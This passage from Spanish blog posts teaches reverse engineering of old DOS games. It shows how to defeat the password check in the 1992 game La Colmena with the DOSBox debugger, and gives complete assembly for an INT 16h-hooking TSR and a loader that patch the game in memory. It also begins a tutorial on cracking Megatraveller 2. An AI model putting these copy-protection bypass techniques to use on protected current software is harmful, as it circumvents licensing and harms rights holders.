"OURSTAR.EXE",0 ; programa a ejecutar<br />EXEC_INFO db 22 DUP (0)<br />MSG db 0dh,0ah<br /> db "Go! Go! OurStar floppy version crack.",0dh,0ah<br /> db "2019, vlan7",0dh,0ah,"$"<br /><br />OVL ends<br /><br />end START</pre> Para ensamblar [2]: <pre>a86 CRACK.ASM</pre> Feliz reversing.<br><br> [1] GoGo Our Star https://www.mediafire.com/file/bbnak8waayg49d6/gogo.7z/file<br>[2] A86 <a href="https://www.eji.com/a86/">https://www.eji.com/a86/</a><br>[+] GOGO.ASM <a href="https://zen7.vlan7.org/file-cabinet/GOGO.ASM">https://zen7.vlan7.org/file-cabinet/GOGO.ASM</a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-38575489727764909162019-02-16T09:38:00.000-08:002024-02-09T03:00:03.136-08:00DOS cracking series III ~ Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (I)Y con esta ya son tres las entradas que llevamos de oldschool cracking. En esta ocasion el candidato sera un viejo (1992) juego español: La Colmena version CGA/EGA/Hercules/VGA-16 [1], de la desaparecida compañia Opera.<br><br> Usaremos <a href="https://www.vogons.org/viewtopic.php?t=7323">DOSBox debugger [2]</a> para ejecutar el programa paso a paso, pondremos breakpoints, identificaremos varios puntos donde podremos cambiar el codigo en memoria para que acepte cualquier clave que introduzcamos y explicaremos por que. Aplicaremos los cracks en caliente desde DOSBox debugger y conseguiremos pasar de la pantalla de claves, hasta aqui nada nuevo con respecto a las anteriores entradas de la serie, pero a la hora de ir a parchear el ejecutable con un editor hexadecimal nos toparemos con que los bytes que hemos modificado desde DOSBox debugger no estan en el archivo. WTF!! ¿Quieres saber si finalmente lograremos crear un crack permanente? Entonces sigue leyendo.<br><br> Comenzamos. Cargamos el juego en DOSBox y al llegar a la pantalla de claves<br><br> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRV9oPcvViK-5T-5GphvK42BdQOJh2wc6f8I83jTTi54rW7vDKoXJgj0M2_XpcXFs2McWrOJIzAXOIcYwjQ7HlWY1Jv8KZT5Za6m9hqjfxCb6PCP0JJ952rnWeWzpxnMsejQC5VlWhKTY/s1600/colmena_000.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRV9oPcvViK-5T-5GphvK42BdQOJh2wc6f8I83jTTi54rW7vDKoXJgj0M2_XpcXFs2McWrOJIzAXOIcYwjQ7HlWY1Jv8KZT5Za6m9hqjfxCb6PCP0JJ952rnWeWzpxnMsejQC5VlWhKTY/s640/colmena_000.png" width="640" height="400" data-original-width="320" data-original-height="200" /></a></div> pulsamos ALT+PAUSA para activar el debugger, tal como vimos en entregas anteriores. Si ejecutamos paso a paso (F10 step in/F11 step into) enseguida nos toparemos con el siguiente codigo: <pre>0308:015C B401 mov ah,01 ; ¿Se ha pulsado alguna tecla?<br />0308:015E CD16 int 16<br />0308:0160 7503 jne 0165 ($+3)<br />0308:0162 33C0 xor ax,ax ; NO: limpiamos ax<br />0308:0164 C3 ret ; y volvemos a empezar<br />0308:0165 B80000 mov ax,0000 ; SI: Obtenemos codigo tecla pulsada<br />0308:0168 CD16 int 16 ; Devuelve: AH = BIOS scan code<br /> ; Devuelve: AL = ASCII character<br />BP 0308:016A C3 ret</pre> Es la parte encargada de esperar la pulsacion de alguna tecla. Ponemos un breakpoint en el segundo ret <pre>BP 0308:016A</pre> volvemos a ejecutar con F5 y no tardamos en llegar a la parte donde se comprueba que tecla ha sido pulsada. <pre>(...)<br />0308:00E8 3D0D1C cmp ax,1C0D ; Se ha pulsado Intro?<br />0308:00EB 7433 je 0120 ($+33) ; SI: saltamos a gestionarlo<br />0308:00ED E9E1FF jmp 00D1 ($-1f) ; NO: vuelta a empezar</pre> Ponemos un bp en la direccion de memoria a la que saltamos cuando se ha pulsado intro. <pre>BP 0308:0120 ; Hemos pulsado intro</pre> y no tardamos en llegar a la parte donde se comprueba si se han introducido los 4 caracteres de la clave, momento en que se llama a un call que compara la clave introducida con la clave que el juego espera. Cada simbolo se codifica con un byte (caracter) y ambas claves seran tratadas como cadenas. <pre><br />0308:0043 A07B07 mov al,[077B] ; Numero de caracteres introducidos<br />0308:0046 3C04 cmp al,04 ; Se han introducido los 4 caracteres de la clave?<br />0308:0048 75F3 jne 003D ($-d) ; NO -> otra vuelta al bucle<br />BP 0308:004A E83D00 call 008A ($+3d) ; SI -> comprobamos la clave<br />0308:004D 75EE jne 003D ($-12) ; JNE = CHICO_MALO. **OPCION 1 DE CRACK->SM 0308:004D 90 90 NOP NOP<br />0308:004F E8DE02 call 0330 ($+2de) ; Camino CHICO_BUENO<br />0308:0052 CD12 int 12</pre> Entramos con F11 en el primer CALL y enseguida vemos codigo que comprueba la clave introducida con la clave que espera el juego como valida. <pre>0308:008A BE7C07 mov si,077C ; Puntero a clave introducida por usuario ; **OPCION 5 de CRACK ->SM 0308:008B 80 mov si,0780<br />0308:008D BF8007 mov di,0780 ; Puntero a clave buena ; **OPCION 6 de CRACK -> SM 0308:008E 7C mov di,077C<br />0308:0090 B90400 mov cx,0004 ; Numero de vueltas al bucle<br />0308:0093 8A04 mov al,[si] ; Guardamos en AL un caracter de la clave introducida por el usuario ; OPCION 3 DE CRACK->SM 0308:0093 XX XX MOV AL,[DI]<br />0308:0095 3A05 cmp al,[di] ; y lo comparamos con el caracter de la clave real ; OPCION 4 DE CRACK->SM 0308:0095 XX XX CMP AL,[SI]<br />0308:0097 750D jne 00A6 ($+d) ; JNE = CHICO_MALO ; **OPCION 2 DE CRACK->SM 0308:0097 90 90<br />0308:0099 47 inc di ; Siguiente caracter de clave buena<br />0308:009A 46 inc si ; Siguiente caracter de clave introducida por usuario<br />0308:009B E2F6 loop 0093 ($-a) ; Decrementamos CX en 1, y si CX aun no es 0 -> Saltamos al principio del bucle<br />0308:009D B90600 mov cx,0006 ; Camino CHICO_BUENO<br />0308:00A0 E82400 call 00C7 ($+24)<br />0308:00A3 32C0 xor al,al ; Ponemos al=0<br />0308:00A5 C3 ret ; Retornamos a 0308:004D 75EE jne 003D con codigo de retorno AL<br /> ; Como el codigo de retorno es 0 seguiremos en CHICO_BUENO</pre> Podemos crackear el juego de multiples formas, he numerado varias, veamoslas.<br><br> A destacar las opciones 5 y 6 donde el juego quedaria crackeado cambiando UN solo byte. En la 5 hacemos que el puntero a la clave introducida por el usuario apunte a la clave buena, de tal forma que estaremos comparando la clave buena consigo misma y obviamente sera tomada como correcta. La 6 sigue la misma idea pero hacemos que el puntero a la clave buena apunte a la clave introducida por el usuario, con lo cual estaremos comparando la clave introducida consigo misma que obviamente tambien sera tomada como correcta.<br><br> En las opciones 3 y 4 haremos que el CMP compare [si] con [si] o bien [di] con [di], con lo que el resultado obviamente siempre sera que ambos caracteres coinciden.<br><br> Yo voy a elegir la opcion 2, es decir, anular este salto: <pre>0308:0097 750D jne 00A6 ($+d)</pre> Podriamos anularlo cambiando UN solo byte. Haciendo que el salto sea de cero bytes. Es decir, cambiando "75 0D" por "75 00". Pero vamos a hacer lo que se suele hacer y parchearemos con dos NOP: <pre>0308:0097 9090 nop nop</pre> con lo cual seguiremos el camino CHICO_BUENO independientemente del resultado de la comprobacion cmp al,[di]. Vamos a ello, desde DOSBox debugger: <pre>SM 0308:0097 90 90</pre> Continuamos ejecucion con F5 y eureka! cualquier clave que introduzcamos<br><br> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLvT0s9Dm9ZC9ny7G_m5wLSOtVlCdWXe3p2Wc0QqsV0PfEbk8Zh7ZVhrhBmTVwhD3SMTYj9By8bIa8nWeTy88L3hX2EbMlCBBNHmRr5p760l8DoiJIub4_Z4YAs0iJIIZJmuNd3zcKs9U/s1600/colmena_001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLvT0s9Dm9ZC9ny7G_m5wLSOtVlCdWXe3p2Wc0QqsV0PfEbk8Zh7ZVhrhBmTVwhD3SMTYj9By8bIa8nWeTy88L3hX2EbMlCBBNHmRr5p760l8DoiJIub4_Z4YAs0iJIIZJmuNd3zcKs9U/s640/colmena_001.png" width="640" height="400" data-original-width="320" data-original-height="200" /></a></div> el juego la da por valida y pasamos de la pantalla de claves al juego en si.<br><br> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl131n-l8Ml_LBCkJX5pK31xJntb19YBItH5Yi9qJ_32Nl4yZi2clhoX_rK8eE3WKB7w_2aLpnGC8dJ-L50E4R_Hp8pCbeAk-l9SEEQsB3phEN7YId9ClNfIqrz78klEgl9GlKdt9YVjA/s1600/colmena_002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl131n-l8Ml_LBCkJX5pK31xJntb19YBItH5Yi9qJ_32Nl4yZi2clhoX_rK8eE3WKB7w_2aLpnGC8dJ-L50E4R_Hp8pCbeAk-l9SEEQsB3phEN7YId9ClNfIqrz78klEgl9GlKdt9YVjA/s640/colmena_002.png" width="640" height="400" data-original-width="640" data-original-height="400" /></a></div> Entonces, con todo el subidon por haberlo conseguido nos disponemos a cargar COLMENA.EXE en nuestro editor hexadecimal favorito y buscamos una ristra de bytes que incluya los bytes que queremos modificar. Y... no la encontramos. Pero que no cunda el panico. ¿Sera que estan en otro archivo? Podria ser. mmmm ¿Y si pudieramos saber los archivos que un ejecutable va abriendo? Pues podemos.<br><br> Una manera rapida seria usar <a href="https://zen7.vlan7.org/file-cabinet/kgb.zip">KGB [3]</a> (incluye codigo fuente en ASM!), un genial TSR que captura la INT 21h y escribe las llamadas que un ejecutable va haciendo a funciones de tratamiento de archivos de la INT 21h como abrir, crear, ejecutar, etc. Crea un archivo de texto c:\HISTORY.DAT donde va guardando estas llamadas. Su uso es muy sencillo:<br><br> <pre>C:\> KGB<br />Runtime saving of file actions.<br />ver. 1.04<br />Petr Hor�k, Praha 1992<br />Usage: kgb [file] [/Options] ..<br />Options:<br /> /u unload<br /> /dX drive X (A-Z)<br /> /on (off)<br /><br />C:\> COLMENA</pre> Llegamos hasta la pantalla de claves, miramos el contenido de C:\HISTORY.DAT y tenemos: <pre>Exec : colmena.EXE <br />OpenFile-R : col0.ovl</pre> Vemos que COLMENA.EXE abre en modo lectura el archivo col0.ovl<br><br> Otra forma seria poner breakpoints en llamadas a interrupciones en el debugger de DOSBox. Tenemos practicamente toda la info posible sobre interrupciones (que funciones hay, en que registro se pasa cada argumento, si retorna algo en que registro lo hace...) en las dos biblias: <a href="http://www.delorie.com/djgpp/doc/rbinter/ix/">Ralf Brown's Interrupt List [4]</a> y <a href="https://stanislavs.org/helppc/idx_interrupt.html">HelpPC Interrupt List [5]</a>.<br><br> Llamadas interesantes que nos podrian interesar ahora son INT 21/3D (Open file using handle) e INT 21/4B (load and execute program), asi que ponemos los siguientes breakpoints: <pre>BPINT 21 3d<br />BPINT 21 4b</pre> Ejecutamos con F5 y llegamos a una llamada a INT 21h/3d. Justo antes de que se ejecute la instruccion INT 21h tenemos en DS:DX el nombre del archivo en ASCIIZ. Pulsamos ALT+X para cambiar la vista de datos a DS:DX y ahi tenemos el nombre del archivo que se va a abrir: <pre>col0.ovl\00</pre> Bien, vamos a abrir col0.ovl con un editor hexadecimal para cambiar bytes. Nada, tampoco encontramos la ristra de bytes que queremos parchear. WTF?<br><br> No desesperemos, volvamos a cargar el juego, volvamos a poner el BPINT y desde ahi sigamos ejecutando paso a paso (F10 step in/F11 step into). Acabaremos viendo que COLMENA.EXE va leyendo los bytes de col0.ovl y va tejiendo en memoria en tiempo de ejecucion los bytes que formaran el subprograma que nos pide las claves, y cuando termina el desempaquetado salta a la direccion de memoria donde comienza, que esta en otro segmento distinto. Y se ejecuta. Y aparece ante nosotros la pantalla de claves. Si la clave que introducimos es correcta, retornamos y COLMENA.EXE hace lo mismo con col1.ovl, que es el juego en si.<br><br> Sabiendo esto tenemos al menos dos opciones. Una seria localizar la rutina de descifrado, entenderla y parchear en la posicion correspondiente los bytes que queremos conseguir (90 90) pero _codificados_ de tal forma que cuando la rutina de descifrado desempaquete col0.ovl los bytes resultantes sean los que anulan la proteccion (90 90 en este caso).<br><br> La otra opcion, que es la que vamos a seguir, es crear un cargador (loader) en ASM que parchee los bytes que queremos modificar cuando col0.ovl haya sido desempaquetado. Para ello necesitamos capturar una interrupcion que llame el juego una vez estan en memoria los opcodes que queremos parchear.<br><br> Bueno, desde hace un par de parrafos los lectores mas avispados se estaran preguntando... y si... <pre>COPY COL0.OVL TMP.OVL<br />COPY COL1.OVL COL0.OVL<br />COPY TMP.OVL COL1.OVL</pre> jeje, pues si, simplemente renombrando COL1.OVL a COL0.OVL nos saltamos la pantalla de claves. :) Pero el articulo va de hacer un cargador, asi que sigamos.<br><br> Para encontrar la INT vamos a hacer un volcado del subprograma de claves, una vez ha sido desempaquetado, y con ayuda de <a href="https://www.scummvm.org/frs/extras/IDA/idafree50.exe">IDA [6]</a> sacaremos un listado de las interrupciones a las que llama. Necesitamos encontrar la primera instruccion de col0.ovl desempaquetado, y aqui tenemos al retf que hace que el flujo de ejecucion de COLMENA.EXE salte a la primera instruccion del subprograma col0.ovl <pre>BP 9000:018B CB retf</pre> Ponemos un BP, ejecutamos el retf y veremos que retornamos a una instruccion que esta otro segmento distinto. <pre>0308:0000 2EC6064C0600 mov byte cs:[064C],00</pre> Justo cuando estamos en esa instruccion, sin llegar a ejecutarla volcamos los opcodes desde ese punto asi: <pre>MEMDUMPBIN CS:IP FFFF</pre> Y se habra creado un archivo binario llamado MEMDUMP.BIN de FFFF bytes. Lo abrimos en IDA como si fuera un .COM y buscamos las ocurrencias del opcode CD, que es el que corresponde a la instruccion INT. De las interrupciones que aparecen yo he elegido una llamada a INT 16h/AH=1<br><br> Sigamos. Queremos sustituir esto: <pre>0308:0097 750D jne 00A6</pre> por esto: <pre>0308:0097 90 nop<br />0308:0098 90 nop</pre> siempre y cuando en la direccion [0097] esten los opcodes 75 0D (no queremos parchear mas de una vez) y se haya entrado a nuestra INT 16h tras una llamada a INT 16h/AH=1. Manos a la obra. He llenado el codigo de comentarios, no os quejareis. <pre>TSR segment para 'code'<br /> assume cs:TSR, ds:TSR<br /> org 100h ; Esto sera un programa .COM<br /><br />; El codigo residente en memoria empieza aqui<br />START: jmp INITCODE ; Codigo de inicializacion<br /><br />OLDINT dw 0,0 ; Espacio para el puntero a la INT 16h del sistema<br /><br />NEWINT proc far<br /> cmp ah, 1 ; Se ha llamado a INT 16h con la funcion AH=1 ?<br /> jnz EXIT ; NO: saltamos a la INT 16h del sistema<br /><br /> cmp Word Ptr [0097], 0d75h ; ¿Tenemos en DS:[0097] los opcodes 75 0D? Ojo!! x86 es little endian, asi que van "al reves" <br /> jnz EXIT ; NO: saltamos a la INT 16h del sistema<br /><br /> mov Word Ptr [0097], 9090h ; CRACK ~ escribimos los bytes 90 90 en DS:[0097]<br /><br />EXIT:<br /> jmp DWord Ptr cs:[OLDINT] ; Saltamos a la INT 16h del sistema<br />NEWINT endp<br /><br />; El codigo residente en memoria acaba aqui<br /><br />INITCODE:<br /> push es<br /><br /> mov ax, 3516h ; Queremos el valor del puntero a la INT 16h del sistema<br /> int 21h<br /> mov OLDINT[0], bx ; Guardamos puntero a la INT 16h del sistema<br /> mov OLDINT[2], es ; (necesitaremos llamarla despues)<br /><br /> mov ax,2516h ; Sobreescribimos en el vector de interrupciones el puntero a INT 16h por<br /> lea dx, NEWINT ; un puntero a nuestra rutina NEWINT proc far<br /> int 21h<br /><br /> mov es, ds:[2ch] ; Direccion del entorno<br /> mov ah, 49h<br /> int 21h ; Liberar espacio de entorno<br /><br /> pop es<br /><br /> lea dx, INITCODE ; Fin del codigo residente<br /> add dx, 15 ; Redondeo a parrafo<br /> mov cl, 4<br /> shr dx, cl ; bytes -> parrafos<br /> mov ax, 3100h ; Terminate and Stay Resident (TSR)<br /> int 21h<br />TSR ends<br /><br />end START</pre> Guardamos como CRACK.ASM y lo ensamblamos. Usare <a href="https://www.eji.com/a86/">A86 [7]</a> <pre>a86 CRACK.ASM</pre> Y tendremos un ejecutable CRACK.COM de tamaño 75 bytes.<br><br> Si lo ejecutamos aparentemente no hara nada y volveremos a ver el prompt c:\> de MS-DOS, pero en ese punto el programa se habra quedado residente en memoria, y ahora la INT 16h sera nuestra rutina <i>NEWINT proc far</i>, lista para acechar la comprobacion de claves del juego. Cargaremos COLMENA.EXE, que como vimos con IDA acabara llamando a INT 16h/AH=1, llamada que sera interceptada por nuestro TSR que parcheara el codigo del juego en memoria y devolvera el control a la INT 16h del sistema. El juego entonces aceptara cualquier clave introducida como valida. Si vuelve a haber llamadas a INT 16h/AH=1 seran aun interceptadas por nuestro TSR, pero al detectar que el juego ya esta parcheado no hara nada y simplemente redirigira la peticion a la INT 16h original del sistema.<br><br> Ojo que el TSR es un poco quick&dirty, no comprueba si ya esta instalado, ni permite desinstalarse a si mismo... mientras solo lo ejecutemos una vez, la cosa ira bien. Lo suyo seria que el propio TSR comprobara al menos si el mismo ya esta residente en memoria, y solo se quedara residente en caso de no encontrarse a si mismo. Pero esto se esta haciendo ya muy largo, asi que si alguien tiene interes dejo unas palabras clave -> Interrupcion Multiplex (2Fh), BMB Compuscience, CiriSOFT, propuesta AMIS (INT 2Dh).<br><br> O un metodo mas simple (muchos virus TSR de DOS usaban tecnicas similares para comprobarse a si mismos): capturar una INT, crear una nueva funcion, que se active cuando llamemos con un valor que no este reservado ya por la INT, algo como AX=0xface , y devolver un valor, por ejemplo haciendo que ES:BX apunte en memoria al valor 0xdead, y sabremos que si devuelve ese valor estamos ya residentes y tendremos que salir al DOS sin hacer nada mas, y si no lo devuelve, es que es la primera vez que se ejecuta nuestro TSR y entonces si tendremos que quedarnos residentes (y escribir en memoria el valor 0xdead, y habra que reservar tambien 2 bytes en memoria -por ejemplo como hace el listado TSR con la variable OLDINT-).<br><br> o mas sencillo aun (pero fragil y ahora veremos por que) seria apoyarse en los vectores de interrupcion. Si capturamos una INT podriamos comprobar opcodes del codigo que escribamos para la INT capturada. Este metodo tiene un problema obvio, y es que si se vuelven a cambiar los vectores de la int que estamos chequeando, por otro TSR por ejemplo, cuando nuestro TSR compruebe si tiene sus bytes en memoria vera que no, e intentara quedarse residente de nuevo. De todos modos... ¿quizas mejor este asumir este riesgo que no comprobar nada? yo creo que si, y mas aun si es hoy en dia que probablemente se va a usar dosbox y en la mayoria de casos no va a haber mas TSR cargados. En un DOS puro... dependera de lo "rara" que sea la zona de memoria que queramos comprobar, no tiene por que ser una INT, podria ser alguna zona de la memoria donde el DOS en principio no vaya a escribir nunca, pero recuerda que en DOS todo el mundo puede escribir donde tu has escrito. + Info: 29A, VX Heavens, Minotauro magazine, NukeZ journal, Herm1t et al.<br><br> Sin ir mas lejos, en <a href="https://www.vlan7.org/2020/12/dos-cracking-series-vi-programando-un.html">la entrada de las dinamitas</a> sigo este ultimo metodo chequeando el segundo y tercer byte de INT_21, que el TSR captura. <pre>;;autocomprobarse en memoria<br /> mov ax,3521h ;get @int21<br /> int 21h ;puntero en es:[bx]<br /> cmp word es:[bx+1],48fch ;¿estoy ya residente?<br /> jne @@isr_install<br /> mov ah,4ch ;si, salir al DOS<br /> int 21h<br />@@isr_install: ;no, instalar TSR</pre> Pero... ¿y el cargador donde esta? esto es un TSR que no carga nada. ¿Seria posible que solo tuvieramos que ejecutar CRACK.COM y este ya cargara COLMENA.EXE? Pues si, haciendo uso de las funciones "Modify Allocated Memory Block" (INT 21h/4Ah) y "EXEC/Load and Execute Program" (INT 21h/4Bh). La captura de interrupciones, el parcheo del codigo en memoria de COLMENA.EXE, todo es igual, la unica diferencia es que esto ya no sera un TSR, sera un cargador en toda regla. Ahi va el listado. <pre>SIZE EQU 1024 ; Este programa y su pila caben en 1 KB<br />OVL segment para 'code'<br /> assume cs:OVL, ds:OVL<br /> org 100h ; Esto sera un programa .COM<br /><br />START: jmp INITCODE ; Codigo de inicializacion<br /><br />OLDINT16 dw 0,0 ; Espacio para el puntero a INT_16h del sistema<br /><br />NEWINT16 proc far<br /> cmp ah, 1 ; Nos llaman para INT_16h funcion 0 ?<br /> jnz EXIT ; NO: saltamos a la INT_16h del sistema<br /><br />;; Ahora comprobamos que valor tienen los bytes del juego en memoria que<br />; queremos parchear, porque si ya los hemos parcheado en alguna llamada previa a<br />; INT_16/0, no queremos volver a hacerlo.<br /> cmp Word Ptr [0097], 0d75h ; ¿DS:[0097] = 75 0D?<br /> jnz EXIT ; NO: saltamos a la INT_16h del sistema<br />;;<br /><br /> mov Word Ptr [0097], 9090h ; CRACK ~ escribimos los bytes 90 90 en DS:[0097]<br /><br />EXIT:<br /> jmp DWord Ptr cs:[OLDINT16] ; Saltamos a la INT_16h del sistema<br />NEWINT16 endp<br /><br />INITCODE:<br /> mov sp, SIZE ; redefinimos la pila<br /> mov bx, SIZE/16<br /> mov ah, 4ah ; redimensionamos bloque memoria<br /> int 21h<br /><br /> lea dx, MSG<br /> mov ah, 9 ; Escribimos texto por pantalla<br /> int 21h<br /><br /> xor ah, ah ; Esperamos pulsacion de tecla<br /> int 16h<br /><br /> mov ax, 3516h ; Queremos el puntero a la INT_16h del sistema<br /> int 21h<br /> mov OLDINT16[0], bx ; Guardamos puntero a la INT_16h del sistema<br /> mov OLDINT16[2], es ; (necesitaremos llamarla despues)<br /><br /> push cs<br /> pop es ; Necesitaremos ES:BX apuntando a EXEC_INFO<br /><br /> mov ax, 2516h ; Sobreescribimos en el vector de interrupciones el<br /> ; puntero a INT_16h por<br /> lea dx, NEWINT16 ; un puntero a nuestra rutina NEWINT16 proc far<br /> int 21h<br /><br />;; Parameter block<br /> lea bx, EXEC_INFO<br /> mov Word Ptr [bx], 0<br /> mov Word Ptr [bx+2], 80h ; PSP<br /> mov Word Ptr [bx+4], cs<br /> mov Word Ptr [bx+6], 5ch ; FCB 0<br /> mov Word Ptr [bx+8], cs<br /> mov Word Ptr [bx+0ah], 6ch ; FCB 1<br /> mov Word Ptr [bx+0ch], cs<br />;;<br /><br /> lea dx, FILENAME<br />; ES:BX apuntando a EXEC_INFO<br />; DS:DX apuntando al nombre ASCIIZ del archivo a ejecutar<br /> mov ax, 4b00h<br /> int 21h ; cargar y ejecutar programa<br /><br /> mov dx, OLDINT16[0]<br /> mov ds, OLDINT16[2]<br /> mov ax,2516h ; Volvemos a poner en el vector de interrupciones el puntero a la INT_16h del sistema<br /> int 21h<br /><br /> push cs<br /> pop ds ; DS = CS<br /><br /> mov ax, 4c00h ; terminar<br /> int 21h<br /><br />FILENAME db "COLMENA.EXE",0 ; programa a ejecutar<br />EXEC_INFO db 22 DUP (0)<br />MSG db 0dh,0ah<br /> db "La Colmena CGA/EGA/Hercules/VGA-16 crack.",0dh,0ah<br /> db "2019, vlan7",0dh,0ah,"$"<br /><br />OVL ends<br /><br />end START</pre> Feliz reversing.<br><br> [1] La Colmena CGA/EGA/Hercules/VGA-16 https://www.mediafire.com/file/036ztp6dxslstsl/COLMENA.7z/file<br>[2] DOSBox Debugger <a href="https://www.vogons.org/viewtopic.php?t=7323">https://www.vogons.org/viewtopic.php?t=7323</a><br>[3] KGB <a href="https://zen7.vlan7.org/file-cabinet/kgb.zip">https://zen7.vlan7.org/file-cabinet/kgb.zip</a><br>[4] Ralf Brown's Interrupt List <a href="http://www.delorie.com/djgpp/doc/rbinter/ix/">http://www.delorie.com/djgpp/doc/rbinter/ix/</a><br>[5] HelpPC Interrupt List <a href="https://stanislavs.org/helppc/idx_interrupt.html">https://stanislavs.org/helppc/idx_interrupt.html</a><br>[6] IDA 5.0 free <a href="https://wiki.scummvm.org/index.php/HOWTO-Reverse_Engineering">https://wiki.scummvm.org/index.php/HOWTO-Reverse_Engineering</a><br>[7] A86 <a href="https://www.eji.com/a86/">https://www.eji.com/a86/</a><br>[+] COLME.ASM <a href="https://zen7.vlan7.org/file-cabinet/COLME.ASM">https://zen7.vlan7.org/file-cabinet/COLME.ASM</a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-36265917249264277012019-01-18T15:29:00.000-08:002024-02-07T08:32:07.702-08:00DOS cracking series II ~ Cracking de un juego DOS con DOSBox debugger (analisis dinamico)El candidato es Megatraveller 2 [1], un viejo (1991) juego msdos de rol en su version en castellano con una proteccion bastante comun en su epoca: al iniciar el juego se nos pregunta por algo cuya respuesta viene en el manual. Si la respuesta es correcta jugamos, de lo contrario el juego termina y volvemos al DOS.<br><br> Para no repetirnos, a diferencia de la entrada anterior donde usamos IDA para hacer un analisis estatico, en esta ocasion usaremos el debugger de DOSBox para hacer un analisis dinamico, es decir, ejecutaremos el juego paso a paso, pondremos breakpoints hasta localizar la parte del codigo donde esta la proteccion y la anularemos modificando el codigo en memoria en caliente. Todo mientras vemos en la pantalla de DOSBox que es lo que va mostrando el juego por pantalla, lo cual es enormemente util. Finalmente haremos el crack permanente modificando el archivo responsable de la proteccion con un editor hexadecimal.<br><br> Lo primero necesitamos compilar una version de DOSBox con el debugger activado, ya que por defecto no lo esta. <pre>./autogen.sh && ./configure --enable-debug=heavy && make</pre> Yo he utilizado dosbox-x [2], que he compilado de una forma un poco diferente ejecutando ./build-debug que ya incluye --enable-debug=heavy<br><br> Bien, cargamos el juego con dosbox-x: <pre>user@host:~/crack/MT2$ ~/emus/dosbox-x-0.82.14/src/dosbox-x -c "keyb sp" -c "mount c ." -c "c:" -c "MT2.COM"</pre> Avanzamos hasta que nos pida las claves y activamos el modo debugger con ALT+PAUSA. Veremos algo parecido a:<br><br>
<div class="separator" style="clear: both;"><img alt="" border="0" height="524" width="996" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo0FEHGujzq3MSh-cUGYor3t5M-tqlgilBpVXPkaLZ-KhEPUmniJgmCmE_dMJhL5fEsEDn9AGWj6vMhfp3lCBEsmnXUcvP2BT91xZJfHjJhNG9L_cPslhmE_IT0TVv_JJ8doHw9vD4o7yuYlZ9qaRFVscVEFtv7T48pQCFAjcKXb4OflkSr7oyfyKGtGTZ/s1600/001.webp"/></div>
Si tecleamos HELP en la ventana Output veremos una ayuda de los comandos aceptados por el debugger. Para este crack usaremos los siguientes: <pre>F5 - Run.
F10/F11 - Step over / trace into instruction.
BP [segment]:[offset] - Set breakpoint.
SM [seg]:[off] [val] [.]..- Set memory with following values.</pre> Atencion: segun las asociaciones de teclas que tengas en tu programa emulador de terminal puede que necesites redefinir alguna tecla de funcion, ya que tendra preferencia sobre el debugger de DOSBox.<br><br> Si miramos el titulo de la ventana de DOSBox veremos que se esta ejecutando CHARGEN. DOSBox no muestra la extension del archivo en el titulo pero CHARGEN.DAT tiene todas las papeletas de ser realmente un ejecutable de DOS. Si miramos con file: <pre>user@host:~/crack/MT2$ file CHARGEN.DAT
CHARGEN.DAT: MS-DOS executable, MZ for MS-DOS Self-extracting PKZIP archive
user@host:~/crack/MT2$</pre> Efectivamente, es un ejecutable de MS-DOS, concretamente un .EXE (los magic-bytes MZ lo delatan) empaquetado con PKZIP. Pues antes de nada vamos a desempaquetarlo. Usare UNP [3].<br><br>
<div class="separator" style="clear: both;"><img alt="" border="0" height="449" width="726" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnJTXy-y5mXHE9BWnEnThTbzrh4LLMpbjSPjT4zhKFq8Y_88J9aDRmYFCsUhGyr3sVj7WfCbv54DfCVYuX3aNrcHxMOoDMA0Xm3ZFG76TIsGtHKGVIlYGdVS2__t-DYk8nqIublBwisKovhUirqsxVTXYtetQkQIllkWe5YsF74EzIA0ndP8xO0xqb9bVk/s1600/002.webp"/></div>
Nunca un desempaquetado fue tan rapido. Volvemos a cargar el juego con MT2.COM, pulsamos ALT+PAUSA y para llegar al punto donde se comprueban las claves, iremos pulsando F10, prestando atencion a los CALL o los saltos Jxx. Si queremos entrar en alguna funcion llamada por CALL pulsaremos F11. Si vemos que pulsando repetidamente F10 entramos en un bucle podemos fijarnos en los saltos y ver si hay algun camino que no estamos siguiendo. Pondremos breakpoints en esos caminos y haremos F5, veremos si podemos teclear, si el codigo se para seguiremos con F10/F11. Yo suelo ir anotando los CALL por donde voy pasando, asi si tengo que volver a empezar porque me he pasado tengo el ultimo CALL donde poner un breakpoint y ejecutar con F5.<br><br> Bien, despues de poner breakpoints, ejecutar, breakpoints, ejecutar, paciencia con breakpoints cada vez mas avanzados en el flujo de ejecucion llegamos a ver la rutina de comprobacion de claves. Puede que acabe haciendo un video con todo el proceso desde inicio a final, pero mientras sugiero los siguientes breakpoints. <pre>BP 0B74:0000506E -> Se activa cuando se introduce la clave y se pulsa intro.
BP 0B74:0000BB98 -> Comprobacion claves.
BP 0B74:0000506E -> Clave correcta, se carga INTRO.DAT y empieza el juego.</pre> Una vez introducidos en la ventana Output del debugger pulsamos F5 para ejecutar el juego, avanzamos hasta que nos pida las claves y justo cuando introducimos una clave y pulsamos intro vemos que la ejecucion se pausa, es el primer breakpoint:
<pre>0B74:00005064 E8BDD4 call 00002524 ($-2b43)
0B74:00005067 8BF0 mov si,ax
0B74:00005069 83FE0D cmp si,000D ; SE HA PULSADO INTRO? (EL CODIGO ASCII DE INTRO ES 0D)
0B74:0000506C 7503 jne 00005071 ($+3) (no jmp) ; NO
BP 0B74:0000506E E94102 jmp 000052B2 ($+241) (down) ; SI</pre> Volvemos a pulsar F5 y el segundo breakpoint nos lleva a:
<pre>(...)
0B74:0000BB8B E8321A call 0000D5C0 ($+1a32)
